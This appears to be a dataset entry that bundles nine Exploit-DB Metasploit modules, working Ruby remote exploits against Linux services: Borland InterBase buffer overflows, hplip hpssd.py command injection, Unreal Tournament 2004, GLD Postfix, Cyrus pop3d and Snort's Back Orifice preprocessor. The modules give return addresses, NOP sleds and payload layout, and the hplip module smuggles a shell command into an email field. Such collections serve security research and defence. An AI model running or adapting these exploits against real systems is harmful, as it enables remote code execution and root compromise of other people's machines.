QLWD/code_shield huggingface dataset:
标题: Borland Interbase - 'jrd8_create_database()' Remote Buffer Overflow (Metasploit) EDB-ID: 16843 CVE: 2007-5243 类型: REMOTE 平台: LINUX 发布日期: 2010-07-03 漏洞利用脚本: ##
# $Id: ib_jrd8_create_database.rb 9669 2010-07-03 03:13:45Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##


require 'msf/core'


class Metasploit3 < Msf::Exploit::Remote
 Rank = GoodRanking

 include Msf::Exploit::Remote::Tcp

 def initialize(info = {})
  super(update_info(info,
   'Name'  => 'Borland InterBase jrd8_create_database() Buffer Overflow',
   'Description' => %q{
    This module exploits a stack buffer overflow in Borland InterBase
    by sending a specially crafted create request.
   },
   'Version' => '$Revision: 9669 $',
   'Author' =>
    [
     'ramon',
     'Adriano Lima <adriano@risesecurity.org>',
    ],
   'Arch'  => ARCH_X86,
   'Platform' => 'linux',
   'References' =>
    [
     [ 'CVE', '2007-5243' ],
     [ 'OSVDB', '38606' ],
     [ 'BID', '25917' ],
     [ 'URL', 'http://www.risesecurity.org/advisories/RISE-2007002.txt' ],
    ],
   'Privileged' => true,
   'License' => MSF_LICENSE,
   'Payload' =>
    {
     'Space' => 128,
     'BadChars' => "\x00\x2f\x3a\x40\x5c",
    },
   'Targets' =>
    [
     # 0x0804cbe4 pop esi; pop ebp; ret
     [
      'Borland InterBase LI-V8.0.0.53 LI-V8.0.0.54 LI-V8.1.0.253',
      { 'Ret' => 0x0804cbe4 }
     ],
    ],
   'DefaultTarget' => 0,
   'DisclosureDate'  => 'Oct 03 2007'
  ))

  register_options(
   [
    Opt::RPORT(3050)
   ],
   self.class
  )

 end

 def exploit

  connect

  # Create database
  op_create = 20

  length = 544
  remainder = length.remainder(4)
  padding = 0

  if remainder > 0
   padding = (4 - remainder)
  end

  buf = ''

  # Operation/packet type
  buf << [op_create].pack('N')

  # Id
  buf << [0].pack('N')

  # Length
  buf << [length].pack('N')

  # It will return into this nop block
  buf << make_nops(length - payload.encoded.length - 4)

  # Payload
  buf << payload.encoded

  # Target
  buf << [target.ret].pack('V')

  # Padding
  buf << "\x00" * padding

  # Database parameter block

  # Length
  buf << [1024 * 32].pack('N')

  # Random alpha data
  buf << rand_text_alpha(1024 * 32)

  sock.put(buf)

  handler

 end

end URL: https://www.exploit-db.com/exploits/16843
标题: Borland Interbase - 'INET_connect()' Remote Buffer Overflow (Metasploit) EDB-ID: 16844 CVE: 2007-5243 类型: REMOTE 平台: LINUX 发布日期: 2010-07-03 漏洞利用脚本: ##
# $Id: ib_inet_connect.rb 9669 2010-07-03 03:13:45Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##


require 'msf/core'


class Metasploit3 < Msf::Exploit::Remote
 Rank = GoodRanking

 include Msf::Exploit::Remote::Tcp

 def initialize(info = {})
  super(update_info(info,
   'Name'  => 'Borland InterBase INET_connect() Buffer Overflow',
   'Description' => %q{
    This module exploits a stack buffer overflow in Borland InterBase
    by sending a specially crafted service attach request.
   },
   'Version' => '$Revision: 9669 $',
   'Author' =>
    [
     'ramon',
     'Adriano Lima <adriano@risesecurity.org>',
    ],
   'Arch'  => ARCH_X86,
   'Platform' => 'linux',
   'References' =>
    [
     [ 'CVE', '2007-5243' ],
     [ 'OSVDB', '38605' ],
     [ 'BID', '25917' ],
     [ 'URL', 'http://www.risesecurity.org/advisories/RISE-2007002.txt' ],
    ],
   'Privileged' => true,
   'License' => MSF_LICENSE,
   'Payload' =>
    {
     'Space' => 512,
     'BadChars' => "\x00\x2f\x3a\x40\x5c",
    },
   'Targets' =>
    [
     # 0x0804d2ee 5b5e5f5dc3
     [
      'Borland InterBase LI-V8.0.0.53 LI-V8.0.0.54 LI-V8.1.0.253',
      { 'Ret' => 0x0804d2ee }
     ],
    ],
   'DefaultTarget' => 0,
   'DisclosureDate'  => 'Oct 03 2007'
  ))

  register_options(
   [
    Opt::RPORT(3050)
   ],
   self.class
  )

 end

 def exploit

  connect

  # Attach database
  op_attach = 19

  # Create database
  op_create = 20

  # Service attach
  op_service_attach = 82

  length = 161
  remainder = length.remainder(4)
  padding = 0

  if remainder > 0
   padding = (4 - remainder)
  end

  buf = ''

  # Operation/packet type
  buf << [op_service_attach].pack('N')

  # Id
  buf << [0].pack('N')

  # Length
  buf << [length].pack('N')

  # Random alpha data
  buf << rand_text_alpha(length - 5)

  # Target
  buf << [target.ret].pack('L')

  # Separator
  buf << ':'

  # Padding
  buf << "\x00" * padding

  # Database parameter block

  # Length
  buf << [1024].pack('N')

  # It will return into this nop block
  buf << make_nops(1024 - payload.encoded.length)

  # Payload
  buf << payload.encoded

  sock.put(buf)

  handler

 end

end URL: https://www.exploit-db.com/exploits/16844
标题: hplip - 'hpssd.py' From Address Arbitrary Command Execution (Metasploit) EDB-ID: 16837 CVE: 2007-5208 类型: REMOTE 平台: LINUX 发布日期: 2010-10-09 漏洞利用脚本: ##
# $Id: hplip_hpssd_exec.rb 10617 2010-10-09 06:55:52Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##


require 'msf/core'


class Metasploit3 < Msf::Exploit::Remote
 Rank = ExcellentRanking

 include Msf::Exploit::Remote::Tcp

 def initialize(info = {})
  super(update_info(info,
   'Name'           => 'hplip hpssd.py From Address Arbitrary Command Execution',
   'Description'    => %q{
     This module exploits a command execution vulnerable in the hpssd.py
    daemon of the Hewlett-Packard Linux Imaging and Printing Project.
    According to MITRE, versions 1.x and 2.x before 2.7.10 are vulnerable.

    This module was written and tested using the Fedora 6 Linux distribution.
    On the test system, the daemon listens on localhost only and runs with
    root privileges. Although the configuration shows the daemon is to
    listen on port 2207, it actually listens on a dynamic port.

    NOTE: If the target system does not have a 'sendmail' command installed,
    this vulnerability cannot be exploited.
   },
   'Author'         => [ 'jduck' ],
   'License'        => MSF_LICENSE,
   'Version'        => '$Revision: 10617 $',
   'References'     =>
    [
     [ 'CVE', '2007-5208' ],
     [ 'OSVDB', '41693' ],
     [ 'BID', '26054' ],
     [ 'URL', 'https://bugzilla.redhat.com/show_bug.cgi?id=319921' ],
     [ 'URL', 'https://bugzilla.redhat.com/attachment.cgi?id=217201&action=edit' ]
    ],
   'Platform'       => ['unix'],
   'Arch'           => ARCH_CMD,
   'Privileged'     => true,
   'Payload'        =>
    {
     'Space'       => 1024,
     'DisableNops' => true,
     'Compat'      =>
      {
       'PayloadType' => 'cmd',
       # *_perl and *_ruby work if they are installed
       # inetd isn't used on FC6/7 (xinetd is)
       # netcat doesn't have -e by default
      }
    },
   'Targets'        =>
    [
     [ 'Automatic (hplip-1.6.7-4.i386.rpm)', { } ]
    ],
   'DefaultTarget' => 0,
   'DisclosureDate'  => 'Oct 04 2007'
  ))

  register_options(
   [
    Opt::RPORT(2207),
   ], self.class)
 end

 def exploit

  connect

  #cmd = "nohup " + payload.encoded
  cmd = payload.encoded

  username = 'root'
  toaddr = 'nosuchuser'

  # first setalerts
  print_status("Sending 'setalerts' request with encoded command line...")
  msg = "username=#{username}\n" +
   "email-alerts=1\n" +
   #"email-from-address=`#{cmd}`\n" +
   "email-from-address=x;#{cmd};\n" +
   "email-to-addresses=#{toaddr}\n" +
   "msg=setalerts\n"
  sock.put(msg)

  # next, the test email command
  print_status("Sending 'testemail' request to trigger execution...")
  msg = "msg=testemail\n"
  sock.put(msg)

 end

end URL: https://www.exploit-db.com/exploits/16837
标题: Borland Interbase - 'PWD_db_aliased()' Remote Buffer Overflow (Metasploit) EDB-ID: 16839 CVE: 2007-5243 类型: REMOTE 平台: LINUX 发布日期: 2010-07-03 漏洞利用脚本: ##
# $Id: ib_pwd_db_aliased.rb 9669 2010-07-03 03:13:45Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##


require 'msf/core'


class Metasploit3 < Msf::Exploit::Remote
 Rank = GoodRanking

 include Msf::Exploit::Remote::Tcp

 def initialize(info = {})
  super(update_info(info,
   'Name'  => 'Borland InterBase PWD_db_aliased() Buffer Overflow',
   'Description' => %q{
    This module exploits a stack buffer overflow in Borland InterBase
    by sending a specially crafted attach request.
   },
   'Version' => '$Revision: 9669 $',
   'Author' =>
    [
     'ramon',
     'Adriano Lima <adriano@risesecurity.org>',
    ],
   'Arch'  => ARCH_X86,
   'Platform' => 'linux',
   'References' =>
    [
     [ 'CVE', '2007-5243' ],
     [ 'OSVDB', '38607' ],
     [ 'BID', '25917' ],
     [ 'URL', 'http://www.risesecurity.org/advisories/RISE-2007002.txt' ],
    ],
   'Privileged' => true,
   'License' => MSF_LICENSE,
   'Payload' =>
    {
     'Space' => 512,
     'BadChars' => "\x00\x2f\x3a\x40\x5c",
    },
   'Targets' =>
    [
     # 0x0804cbe4 pop esi; pop ebp; ret
     [
      'Borland InterBase LI-V8.0.0.53 LI-V8.0.0.54 LI-V8.1.0.253',
      { 'Ret' => 0x0804cbe4 }
     ],
    ],
   'DefaultTarget' => 0,
   'DisclosureDate'  => 'Oct 03 2007'
  ))

  register_options(
   [
    Opt::RPORT(3050)
   ],
   self.class
  )

 end

 def exploit

  connect

  # Attach database
  op_attach = 19

  length = 1152
  remainder = length.remainder(4)
  padding = 0

  if remainder > 0
   padding = (4 - remainder)
  end

  buf = ''

  # Operation/packet type
  buf << [op_attach].pack('N')

  # Id
  buf << [0].pack('N')

  # Length
  buf << [length].pack('N')

  # It will return into this nop block
  buf << make_nops(length - payload.encoded.length - 4)

  # Payload
  buf << payload.encoded

  # Target
  buf << [target.ret].pack('V')

  # Padding
  buf << "\x00" * padding

  # Length
  buf << [1024].pack('N')

  # Random alpha data
  buf << rand_text_alpha(1024)

  sock.put(buf)

  handler

 end

end URL: https://www.exploit-db.com/exploits/16839
标题: Borland Interbase - 'open_marker_file()' Remote Buffer Overflow (Metasploit) EDB-ID: 16840 CVE: 2007-5244 类型: REMOTE 平台: LINUX 发布日期: 2010-07-03 漏洞利用脚本: ##
# $Id: ib_open_marker_file.rb 9669 2010-07-03 03:13:45Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##


require 'msf/core'


class Metasploit3 < Msf::Exploit::Remote
 Rank = GoodRanking

 include Msf::Exploit::Remote::Tcp

 def initialize(info = {})
  super(update_info(info,
   'Name'  => 'Borland InterBase open_marker_file() Buffer Overflow',
   'Description' => %q{
    This module exploits a stack buffer overflow in Borland InterBase
    by sending a specially crafted attach request.
   },
   'Version' => '$Revision: 9669 $',
   'Author' =>
    [
     'ramon',
     'Adriano Lima <adriano@risesecurity.org>',
    ],
   'Arch'  => ARCH_X86,
   'Platform' => 'linux',
   'References' =>
    [
     [ 'CVE', '2007-5244' ],
     [ 'OSVDB', '38610' ],
     [ 'BID', '25917' ],
     [ 'URL', 'http://www.risesecurity.org/advisories/RISE-2007002.txt' ],
    ],
   'Privileged' => true,
   'License' => MSF_LICENSE,
   'Payload' =>
    {
     'Space' => 512,
     'BadChars' => "\x00\x2f\x3a\x40\x5c",
    },
   'Targets' =>
    [
     # 0x0804cbe4 pop esi; pop ebp; ret
     [
      'Borland InterBase LI-V8.0.0.53 LI-V8.0.0.54 LI-V8.1.0.253',
      { 'Ret' => 0x0804cbe4 }
     ],
    ],
   'DefaultTarget' => 0,
   'DisclosureDate'  => 'Oct 03 2007'
  ))

  register_options(
   [
    Opt::RPORT(3050)
   ],
   self.class
  )

 end

 def exploit

  connect

  # Attach database
  op_attach = 19

  length = 1056
  remainder = length.remainder(4)
  padding = 0

  if remainder > 0
   padding = (4 - remainder)
  end

  buf = ''

  # Operation/packet type
  buf << [op_attach].pack('N')

  # Id
  buf << [0].pack('N')

  # Length
  buf << [length].pack('N')

  # It will return into this nop block
  buf << make_nops(length - payload.encoded.length - 4)

  # Payload
  buf << payload.encoded

  # Target
  buf << [target.ret].pack('V')

  # Padding
  buf << "\x00" * padding

  # Database parameter block

  # Length
  buf << [1024].pack('N')

  # Random alpha data
  buf << rand_text_alpha(1024)

  sock.put(buf)

  handler

 end

end URL: https://www.exploit-db.com/exploits/16840
标题: Unreal Tournament 2004 (Linux) - 'secure' Remote Overflow (Metasploit) EDB-ID: 16848 CVE: 2004-0608 类型: REMOTE 平台: LINUX 发布日期: 2010-09-20 漏洞利用脚本: ##
# $Id: ut2004_secure.rb 10394 2010-09-20 08:06:27Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
 Rank = GoodRanking

 include Msf::Exploit::Remote::Udp

 def initialize(info = {})
  super(update_info(info,
   'Name'           => 'Unreal Tournament 2004 "secure" Overflow (Linux)',
   'Description'    => %q{
     This is an exploit for the GameSpy secure query in
    the Unreal Engine.

    This exploit only requires one UDP packet, which can
    be both spoofed and sent to a broadcast address.
    Usually, the GameSpy query server listens on port 7787,
    but you can manually specify the port as well.

    The RunServer.sh script will automatically restart the
    server upon a crash, giving us the ability to
    bruteforce the service and exploit it multiple
    times.
   },
   'Author'         => [ 'onetwo' ],
   'License'        => BSD_LICENSE,
   'Version'        => '$Revision: 10394 $',
   'References'     =>
    [
     [ 'CVE', '2004-0608'],
     [ 'OSVDB', '7217'],
     [ 'BID', '10570'],

    ],
   'Privileged'     => true,
   'Payload'        =>
    {
     'Space'    => 512,
     'BadChars' => "\x5c\x00",

    },
   'Platform'       => 'linux',
   'Targets'        =>
    [
     ['UT2004 Linux Build 3120', { 'Rets' => [ 0x0884a33b, 0x08963460 ] }], #JMP ESP , (free/realloc) BSS pointer
     ['UT2004 Linux Build 3186', { 'Rets' => [ 0x088c632f, 0x089eb2f0 ] }],
    ],
   'DisclosureDate' => 'Jun 18 2004'))

  register_options(
   [
    Opt::RPORT(7787)
   ], self.class)
 end

 def exploit
  connect_udp

  buf = make_nops(1024)
  buf[24, 4] = [target['Rets'][1]].pack('V')
  buf[44, 4] = [target['Rets'][0]].pack('V')
  buf[56, 4] = [target['Rets'][1]].pack('V')
  buf[48, 6] = "\x8d\x64\x24\x0c\xff\xe4" #LEA/JMP

  buf[0,  8] = "\\secure\\"
  buf[buf.length - payload.encoded.length, payload.encoded.length] = payload.encoded

  udp_sock.put(buf)

  handler
  disconnect_udp
 end

 def ut_version
  connect_udp
  udp_sock.put("\\basic\\")
  res = udp_sock.recvfrom(8192)
  disconnect_udp

  if (res and (m=res.match(/\\gamever\\([0-9]{1,5})/)))
   return m[1]
  end

  return
 end

 def check
  vers = ut_version

  if (not vers)
   print_status("Could not detect Unreal Tournament Server")
   return
  end

  print_status("Detected Unreal Tournament Server Version: #{vers}")
  if (vers =~ /^(3120|3186|3204)$/)
   print_status("This system appears to be exploitable")
   return Exploit::CheckCode::Appears
  end


  if (vers =~ /^(2...)$/)
   print_status("This system appears to be running UT2003")
   return Exploit::CheckCode::Detected
  end

  print_status("This system appears to be patched")
  return Exploit::CheckCode::Safe
 end

end URL: https://www.exploit-db.com/exploits/16848
标题: Salim Gasmi GLD (Greylisting Daemon) - Postfix Buffer Overflow (Metasploit) EDB-ID: 16841 CVE: 2005-1099 类型: REMOTE 平台: LINUX 发布日期: 2010-07-03 漏洞利用脚本: ##
# $Id: gld_postfix.rb 9669 2010-07-03 03:13:45Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##


require 'msf/core'


 class Metasploit3 < Msf::Exploit::Remote
 Rank = GoodRanking

 include Msf::Exploit::Remote::Tcp

 def initialize(info = {})
  super(update_info(info,
   'Name'  => 'GLD (Greylisting Daemon) Postfix Buffer Overflow',
   'Description' => %q{
    This module exploits a stack buffer overflow in the Salim Gasmi
    GLD <= 1.4 greylisting daemon for Postfix. By sending an
    overly long string the stack can be overwritten.
   },
   'Version' => '$Revision: 9669 $',
   'Author' => [ 'patrick' ],
   'Arch'  => ARCH_X86,
   'Platform' => 'linux',
   'References' =>
    [
     [ 'CVE', '2005-1099' ],
     [ 'OSVDB', '15492' ],
     [ 'BID', '13129' ],
     [ 'URL', 'http://www.milw0rm.com/exploits/934' ],
    ],
   'Privileged' => true,
   'License' => MSF_LICENSE,
   'Payload' =>
    {
     'Space' => 1000,
     'BadChars' => "\x00\x0a\x0d\x20=",
     'StackAdjustment' => -3500,
    },
   'Targets' =>
    [
     [ 'RedHat Linux 7.0 (Guinness)', { 'Ret' => 0xbfffa5d8 } ],
    ],
   'DefaultTarget' => 0,
   'DisclosureDate'  => 'Apr 12 2005'
  ))

  register_options(
   [
    Opt::RPORT(2525)
   ],
   self.class
  )
 end

 def exploit
  connect

  sploit = "sender="+ payload.encoded + "\r\n"
  sploit << "client_address=" + [target['Ret']].pack('V') * 300 + "\r\n\r\n"

  sock.put(sploit)
  handler
  disconnect

 end

end URL: https://www.exploit-db.com/exploits/16841
标题: Cyrus IMAPD - pop3d popsubfolders USER Buffer Overflow (Metasploit) EDB-ID: 16836 CVE: 2006-2502 类型: REMOTE 平台: LINUX 发布日期: 2010-04-30 漏洞利用脚本: ##
# $Id: cyrus_pop3d_popsubfolders.rb 9179 2010-04-30 08:40:19Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
 Rank = NormalRanking

 include Msf::Exploit::Remote::Tcp

 def initialize(info = {})
  super(update_info(info,
   'Name'           => 'Cyrus IMAPD pop3d popsubfolders USER Buffer Overflow',
   'Description'    => %q{
     This exploit takes advantage of a stack based overflow.  Once the stack
    corruption has occured it is possible to overwrite a pointer which is
    later used for a memcpy. This gives us a write anything anywhere condition
    similar to a format string vulnerability.

    NOTE: The popsubfolders option is a non-default setting.

    I chose to overwrite the GOT with my shellcode and return to it. This
    defeats the VA random patch and possibly other stack protection features.

    Tested on gentoo-sources Linux 2.6.16. Although Fedora CORE 5 ships with
    a version containing the vulnerable code, it is not exploitable due to the
    use of the FORTIFY_SOURCE compiler enhancement
   },
   'Author'         => [ 'bannedit', 'jduck' ],
   'License'        => MSF_LICENSE,
   'Version'        => '$Revision: 9179 $',
   'References'     =>
    [
     [ 'CVE', '2006-2502' ],
     [ 'OSVDB', '25853' ],
     [ 'BID', '18056' ],
     [ 'URL', 'http://www.exploit-db.com/exploits/2053' ],
     [ 'URL', 'http://www.exploit-db.com/exploits/2185' ],
     [ 'URL', 'http://archives.neohapsis.com/archives/fulldisclosure/2006-05/0527.html' ],
    ],
   'Payload' =>
    {
     'Space' => 250,
     'DisableNops' => true,
    },
   'Platform' => 'linux',
   'Targets' =>
    [
     # bannedit: 0x080fd204
     # K-sPecial: 0x8106c20 (debian 3.1 - 2.6.16-rc6)
     [ 'Gentoo 2006.0 Linux 2.6', { 'Ret' => 0x080fd318 } ],
    ],
   'Privileged'  => true,
   'DisclosureDate' => 'May 21 2006',
   'DefaultTarget' => 0))

  register_options( [ Opt::RPORT(110) ], self.class )
 end



 def exploit

  connect

  print_status "Banner: #{banner = sock.gets}"

  # NOTE: orig poc shellcode len: 84

  # kcope: 352+84+86+4 (nops,sc,nops,ret)
  # K-sPecial: 84+(120*4) (sc,addrs)
  # bannedit: 265+8+250+29+16
  shellcode = payload.encoded

  buf = "USER "
  buf << make_nops(265)
  # return address
  buf << [target.ret].pack('V') * 2
  buf << make_nops(250 - shellcode.length)
  buf << shellcode
  buf << make_nops(29)
  sc_addr = target.ret - 277
  buf << [sc_addr].pack('V') * 4
  buf << "\r\n"

  sock.send(buf, 0)
  disconnect

 end

end URL: https://www.exploit-db.com/exploits/16836
标题: Snort Back Orifice - Pre-Preprocessor Remote (Metasploit) EDB-ID: 16834 CVE: 2005-3252 类型: REMOTE 平台: LINUX 发布日期: 2010-07-03 漏洞利用脚本: ##
# $Id: snortbopre.rb 9669 2010-07-03 03:13:45Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
 Rank = GoodRanking

 include Msf::Exploit::Remote::Udp

 def initialize(info = {})
  super(update_info(info,
   'Name'           => 'Snort Back Orifice Pre-Preprocessor Remote Exploit',
   'Description'    => %q{
     This module exploits a stack buffer overflow in the Back Orifice pre-processor module
    included with Snort versions 2.4.0, 2.4.1, 2.4.2, and 2.4.3. This vulnerability could
    be used to completely compromise a Snort sensor, and would typically gain an attacker
    full root or administrative privileges.
   },
   'Author'         => 'KaiJern Lau <xwings [at] mysec.org>',
   'License'        => BSD_LICENSE,
   'Version'        => '$Revision: 9669 $',
   'References'     =>
    [
     ['CVE', '2005-3252'],
     ['OSVDB', '20034'],
     ['BID', '15131'],
     ['URL','http://xforce.iss.net/xforce/alerts/id/207'] ,
    ],
   'Payload'        =>
    {
     'Space'    => 1073, #ret : 1069
     'BadChars' => "\x00",
    },
   'Targets'        =>
    [
     # Target 0: Debian 3.1 Sarge
     [
      'Debian 3.1 Sarge',
      {
       'Platform' => 'linux',
       'Ret'      => 0xbffff350
      }
     ],
    ],
   'DefaultTarget' => 0,
   'DisclosureDate' => 'Oct 18 2005'))

  # Configure the default port to be 9080
  register_options(
   [
    Opt::RPORT(9080),
   ], self.class)
 end

 def msrand(seed)
  @holdrand = 31337
  end

 def mrand()
  return (((@holdrand=@holdrand*(214013 & 0xffffffff)+(2531011 & 0xffffffff))>>16)&0x7fff)
  end

 def bocrypt(takepayload)

  @arrpayload = (takepayload.split(//))

  encpayload = ""
  @holdrand=0
  msrand(0)

  @arrpayload.each do |c|
   encpayload +=((c.unpack("C*").map{ |v| (v^(mrand()%256)) }.join)).to_i.chr
  end

  return encpayload
  end


 def exploit
  connect_udp

  boheader =
   "*!*QWTY?"  +
   [1096].pack("V")  +           # Length ,thanx Russell Sanford
   "\xed\xac\xef\x0d"+           # ID
   "\x01"                        # PING

  filler =
   make_nops(1069 -(boheader.length + payload.encode.length))

  udp_sock.write(
   bocrypt(boheader+payload.encode+filler+[target.ret].pack('V'))
  )

  handler
  disconnect_udp
 end

end URL: https://www.exploit-db.com/exploits/16834